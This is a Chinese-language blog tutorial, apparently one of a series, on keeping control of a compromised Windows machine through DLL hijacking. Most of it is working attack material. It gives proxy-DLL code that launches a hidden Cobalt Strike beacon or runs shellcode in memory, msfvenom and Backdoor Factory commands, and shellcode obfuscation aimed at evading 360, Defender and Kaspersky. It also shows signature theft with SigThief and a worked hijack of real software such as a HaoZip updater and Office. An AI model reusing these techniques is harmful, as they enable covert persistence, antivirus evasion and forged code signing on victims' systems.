本系列:
0x0 前言
最近发现针对某些目标,添加启动项,计划任务等比较明显的方式效果并不是很好,所以针对DLL劫持从而达到权限的维持的技术进行了一番学习,希望能与读者们一起分享学习过程,然后一起探讨关于DLL更多利用姿势。
0x1 背景
原理在第一篇已经讲了,下面说说与第一篇的不同之处,这一篇的技术背景是,我们已经获取到system权限的情况下,然后需要对目标进行持续性的控制,所以需要对权限进行维护,我们的目标是针对一些主流的软件or系统内置会加载的小DLL进行转发式劫持(也可以理解为中间人劫持),这种劫持的好处就是即使目标不存在DLL劫持漏洞也没关系,我们可以采取直接替换掉原来的DLL文件的方式,效果就是,程序依然可以正常加载原来DLL文件的功能,但是同时也会执行我们自定义的恶意操作。
0x2 劫持的优势
在很久以前,”白+黑”这种免杀方式很火,DLL劫持的优势其实就是如此。
是不是很懵? 先理解下什么是”白”+”黑”
白加黑木马的结构
1.Exe(白) —-load—-> dll(黑)
2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
白EXE主要是指那些带有签名的程序(杀毒软件对于这种软件,特别是window签名的程序,无论什么行为都不会阻止的,至于为什么? emmm,原因很多,查杀复杂,定位DLL困难,而且最终在内存执行的行为都归于exe(如果能在众多加载的DLL中准确定位到模块,那就是AI分析大师。),所以比较好用的基于特征码去查杀,针对如今混淆就像切菜一样简单的时代来说,蛮不够看的,PS.或许360等杀毒有新的方式去检测,emmm,不过我实践发现,基于这个原理过主动防御没啥问题…emmm)
关于这个优势,上图胜千言。
基于wmic,rundll,InstallUtil等的白名单现在确实作用不是很大。
0x3 劫持方式
为了能够更好地学习,下面方式,笔者决定通过写一个demo的程序进行测试。
打开vs2017,新建一个控制台应用程序:
代码如下:
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc1 = NULL;
DLLFUNC GetDllfunc2 = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"TestDll.dll");
if (hinst != NULL) {
// 获取函数位置
GetDllfunc1 = (DLLFUNC)GetProcAddress(hinst, "msg");
GetDllfunc2 = (DLLFUNC)GetProcAddress(hinst, "error");
}
if (GetDllfunc1 != NULL) {
//运行msg函数
(*GetDllfunc1)();
}
else {
MessageBox(0, L"Load msg function Error,Exit!", 0, 0);
exit(0);
}
if (GetDllfunc2 != NULL) {
//运行error函数
(*GetDllfunc2)();
}
else {
MessageBox(0, L"Load error function Error,Exit!", 0, 0);
exit(0);
}
printf("Success");
}
程序如果缺乏指定DLL的导出函数,那么将会失败.
原生正常DLL的代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
void msg() {
MessageBox(0, L"I am msg function!", 0, 0);
}
void error() {
MessageBox(0, L" I am error function!", 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
framework.h导出函数如下:
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
extern "C" __declspec(dllexport) void error(void);
extern表示这是个全局函数,可以供其他函数调用,”C”表示按照C编译器的方式编译
__declspec(dllexport) 这个导出语句可以自动生成
.def
((符号表)),这个很关键如果你没导出,这样调用的程序是没办法调用的(其实也可以尝试从执行过程来分析,可能麻烦点)
建议直接看官方文档:
https://docs.microsoft.com/zh-cn/cpp/build/exporting-from-a-dll?view=msvc-160
正常完整执行的话,最终程序会输出Success。
下面将以这个hello.exe的demo程序来学习以下三种劫持方式。
0x3.1 转发式劫持
这个思想可以简单理解为
这里我本来打算安装一个工具DLLHijacker,但是后来发现历史遗留,不支持64位等太多问题,最终放弃了,转而物色到了一款更好用的工具AheadLib:
这里有两个版本,有时候可能识别程序位数之类的问题出错可以尝试切换一下:
yes大牛中的修改版提供两种直接转发函数即时调用函数
区别就是直接转发函数,我们只能控制DllMain即调用原DLL时触发的行为可控
即时调用函数,可以在处理加载DLL时,调用具体函数的时候行为可控,高度自定义触发点,也称用来hook某些函数,获取到参数值。
这里为了简单点,我们直接采取默认的直接转发就行了。
生成TestDll.cpp
文件之后,我们在VS新建动态链接库项目,将文件加载进项目。
记得要保留原来的#include "pch.h"
然后替换其他内容为生成TestDLL.cpp
就行,这里我们在
DLL_PROCESS_ATTACH
也就DLL被加载的时候执行,这里我们设置的demo 弹窗
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 这里是转发的关键,通过将error转发到TestDllOrg.error中
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:error=TestDllOrg.error,@1")
#pragma comment(linker, "/EXPORT:msg=TestDllOrg.msg,@2")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
///////////////////////////////////////////////////////////
效果如下:
后面的功能也是正常调用的,不过这个需要注意的地方就是加载的程序和DLL的位数必须一样,要不然就会加载出错的,所以劫持的时候需要观察下位数。
比如下面这个例子:
这里加载程序hello.exe(64位)的,加载Test.dll(32位)就出错了。
0x3.2 篡改式劫持
这种方法属于比较暴力的一种,通过直接在DLL中插入跳转语句从而跳转到我们的shellcode位置,这种方式其实局限性蛮多的。
1.签名的DLL文件会破坏签名导致失败
2.会修改原生DLL文件,容易出现一些程序错误
3.手法比较古老。
这种方式可以采用一个工具BDF(好像以前CS内置这个??? ):
安装过程:
git clone https://github.com/secretsquirrel/the-backdoor-factory
sudo ./install.sh
mac下3.0.4的版本会出现capstone的错误.
解决方案:
pip install capstone==4.0.2
使用过程如下:
1.首先查看是否支持:./backdoor.py -f ./exeTest/hello.exe -S
[*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions ./exeTest/TestDll.dll is supported.
2.接着搜索是否存在可用的Code Caves(需要可执行权限的Caves来存放shellcode)
python2 backdoor.py -f TestDll.dll -c
Looking for caves with a size of 380 bytes (measured as an integer [*] Looking for caves We have a winner: .text ->Begin Cave 0x1074 ->End of Cave 0x1200 Size of Cave (int) 396 SizeOfRawData 0xe00 PointerToRawData 0x400 End of Raw Data: 0x1200 ************************************************** No section ->Begin Cave 0x1c15 ->End of Cave 0x1e0e Size of Cave (int) 505 ************************************************** [*] Total of 2 caves found
这里在.text(代码段)存在一个396字节大小区域.
3.获取可用的payload
./backdoor.py -f ./exeTest/TestDll.dll -s
The following WinIntelPE32s are available: (use -s) cave_miner_inline iat_reverse_tcp_inline iat_reverse_tcp_inline_threaded iat_reverse_tcp_stager_threaded iat_user_supplied_shellcode_threaded meterpreter_reverse_https_threaded reverse_shell_tcp_inline reverse_tcp_stager_threaded user_supplied_shellcode_threaded
这里我们采取最后一个选项:
user_supplied_shellcode_threaded
自定义payload,payload可通过msf生成
先生成测试的shellcode:
calc调用测试 193bytes:
msfvenom -p windows/exec CMD=calc.exe -f raw > calc.bin
msg弹框测试 272bytes:
msfvenom -p windows/messagebox -f raw >msg.bin
0x108+8 = 272个字节
不过除了shellcode还有跳转过程也需要字节,平衡栈等。
这里尝试注入:
./backdoor.py -f ./exeTest/TestDll.dll -s user_supplied_shellcode_threaded -U msg.bin -a
执行很成功,但是在替换加载的时候,发现计算器的确弹出来了,但是主程序却出错异常退出了。
这种方式就是暴力patch程序入口点,jmp shellcode,然后继续向下执行,很容易导致堆栈不平衡,从而导致程序错误,所以,效果不是很好, 期待2021.7月发布的新版,有空我也自己去尝试优化下,学学堆栈原理,如何去正确的patch。
0x3.3 通用DLL劫持
这种方式可以不再需要导出DLL的相同功能接口,实现原理其实就是修改LoadLibrary
的返回值,一般来说都是劫持LoadLibraryW(L"mydll.dll");
,window默认都是转换为unicode,自己去跟一下也可以发现。
原理大概如下:
exe —load—> fakedlld.ll —> execute shellcode
|执行完返回正确orgin.dll地址|
——————————————————————
怎么实现这种效果?
使用这个工具:SuperDllHijack
git clone https://github.com/anhkgg/SuperDllHijack.git
然后用vs加载其中的example部分就行了
核心关键代码在这里,这里我们修改成如下:
然后执行的时候,发现虽然成功hook了
但是获取相应的导出函数,也还是失败的, 而且很奇怪realease 和 debug编译的时候,release版本连demo都在win10跑不起来。
0x3.4 总结
经过上面的简单测试, 不难得出,无论是从简易性,实用性,操作性(方便免杀)来看,我都推荐新手使用第一种方式,缺点也有,就是可能导出函数比较多的时候,会比较麻烦,但是这些不是什么大问题。因为尽量能用微软提供的功能去解决,远远比自己去patch内存来更有效,可以避免很多隐藏机制,系统版本等问题的影响,通用性得到保证, 所以下面的操作我将会采取AheadLib来进行展示。
0x4 DLL后门的利用
DLL查杀,其实也是针对shellcode的查杀,下面先写一个简单的加载shellcode的恶意代码。
0x4.1 多文件利用方法
最简单的一种利用手段就是:
存放我的cs木马beacon到一个比较隐蔽的目录:
C:\Users\xq17\Desktop\shellcode\beacon.exe
然后给这个文件加一个隐藏属性:
attrib +h beacon.exe
接着我们采用DLL去加载这个木马。
代码大概如下:
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Users\\xq17\\Desktop\\shellcode\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
return TRUE;
}
然后后面直接去尝试加载就行了,程序执行完的时候(DLL_PROCESS_DETACH
),会自动加载我们的cs马。
说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。
0x4.2 单DLL自加载上线
上面可能步骤繁琐了些,其实我们也可以直接将shellcode代码写入到DLL文件中,然后加载DLL的时候执行就行了。
代码大概如下:
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] = "shellcode";
size_t size = sizeof(buf);
char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
加载Hello32.exe的时候,就会上线,如果hello32执行完自动退出的话,那也挂掉的(可以写一个自动迁移进程的来解决这个问题)
接下来查看一下杀毒软件报毒不:
一开始静态扫描肯定是可以的,但是当我成功加载上线一次之后,再次查杀立马就被报毒。
后面发现上传鉴定的确也被杀了。(网上很多人说关掉上传(秒天秒地免杀,这里就不做评价了),emmm, 360都是默认开启上传功能的)
现在比较主流的就是自写加载器,加密shellcode之类的,但是效果越来越差了,然后现在慢慢倾向于Python语言、Golang、nim等偏僻语言来调用API,应该是杀软没跟上导致bypass,但是这种技术没办法用在DLL的加载器中,除非用这种偏僻语言来生成DLL。
这里我决定采用一些比较稀奇的方式。
通过注释掉shellcode,不难发现,他是针对shellcode加了特征码来查杀的,云端估计会进行动态分析,然后扫描shellcode然后给shellcode加特征。
我的思路是对shellcode进行混淆
实现混淆目前我已知的两种方式:
1.很老很大众的编码器,以前效果贼6的msf也自带的shikata_ga_nai,其原理是内存xor自解密。
2.真正的等价替换shellcode,完全去除本身特征(杀软加针对工具的特征,那就是另说了)
这里我介绍萌新都可以学会使用的第二种方法,原理方面的话,下次再展开与shikata一起来讲讲。
1.pip install distorm3
2.git clone https://github.com/kgretzky/python-x86-obfuscator.git
3.cd
然后cs生成raw的payload.bin,然后生成混淆
python x86obf.py -i payload.bin -o output.bin -r 0-184
关键一些点还是大致看出来
想要加强混淆,可以执行:
python x86obf.py -i payload.bin -o output.bin -r 0-184 -p 2 -f 10
可以看到非常恐怖了,基本都不认识了, 但是体积也变大了很多
接着我们直接提取成shellcode的数组形式:
#!/usr/bin/env python3
shellcode = 'unsigned char buf[] = "'
with open("output1.bin", "rb") as f:
content = f.read()
# print(content)
for i in content:
shellcode += str(hex(i)).replace("0x", "\\x")
shellcode += '";'
print(shellcode)
然后直接替换上面的shellcode就行,然后我们再来看一下效果:
基本可以免杀, 但是如果360上传云,很快就会被杀。解决方案就是:被杀的时候,继续生成和替换shellcode就行了,每次都是随机混淆的,都可以起到免杀效果。
同时Wd是可以过掉的,卡巴斯基也是可以上线的,但是也仅仅是上线而已。
不过不用很担心免杀问题,毕竟是白+黑,我们劫持有签名的程序就可以降低被杀的概率
就算发出来免杀代码照样会立刻被AV秒杀的,所以目的还是分享一些免杀想法, 希望大家发散思维,形成一套自己的免杀流程。
0x5 证书签名伪造
为什么需要伪造证书呢?
因为有一些情况,一些杀软不会去检验证书签名是否有效,同时也能取到一定迷惑受害者的效果。
这里我们使用一个软件SigThief:
原理:它将从已签名的PE文件中剥离签名,并将其附加到另一个PE文件中,从而修复证书表以对该文件进行签名。
git clone https://github.com/secretsquirrel/SigThief.git
这里随便选一个微软签名的DLL进行伪造:
.assets/image-20210301124455700.png)
python3 sigthief.py -i VSTOInstallerUI.dll -t TestDll.dll -o TestDllSign.dll
不过签名是不正确的(伪造):
Get-AuthenticodeSignature .\TestDll.dll
关于本地修改签名验证机制来bypass,可以参考下这些文章
Authenticode签名伪造——PE文件的签名伪造与签名验证劫
但是这些点我感觉还是比较粗浅,还需继续深入研究,所以这里就不尝试,因为我觉得应该先从数字签名的原理和验证讲起,后面会慢慢接触到的。
0x6 实操DLL持久权限维持
下面用一个案例来组合上面思路。
首先我们下载工具
https://download.sysinternals.com/files/ProcessExplorer.zip
https://download.sysinternals.com/files/Autoruns.zip
或者在任务管理器->启动
然后在里面查找一些自动启动的程序。
然后开ProcessMonitor看加载的DLL,这里我默认排除系统的DLL,要不然你的木马会不停被重复加载。
发现进行Load_image,只有这个
发现并不复杂只有一个导出函数:
然后我们生成这个 Haozip_2345Upgradefake.dll
文件,将原来DLL改为:Haozip_2345UpgradeOrg.dll
.
然后继续伪造签名:
python3 sigthief.py -i Haozip_2345UpgradeOrg.dll -t Haozip_2345Upgradefake.dll -o Haozip_2345Upgrade.dll
最后将这个两个文件:
Haozip_2345Upgrade.dll
Haozip_2345UpgradeOrg.dll //这个你也可以直接文件夹直接更换名字就行了。
放回回原来的目录下即可。
但是并没有成功,猜测程序加载DLL的时候检验了签名。
后面我尝试用上面的步骤,寻找了其他office来进行劫持.(这里直接用的是64位没有混淆的shellcode)
成功劫持加载了。
0x7 总结
总体来说,这种权限维持方案操作比较复杂,要求也比较高,也相当费时和费力,不过如果手里有很多主流软件的加载DLL列表,然后自己存好备份,能提高不少安装该后门速度,现在就是自动化程度比较低,出错率高,可以继续深入研究下,寻找一种比较简单的指定DLL通用权限维持手段,这样这种技术才能很好的落地实战化。
(共勉吧,Windows的编程和原理还需要继续深入学习…)
0x8 参考链接
Use COM Object hijacking to maintain persistence——Hijack explorer.exe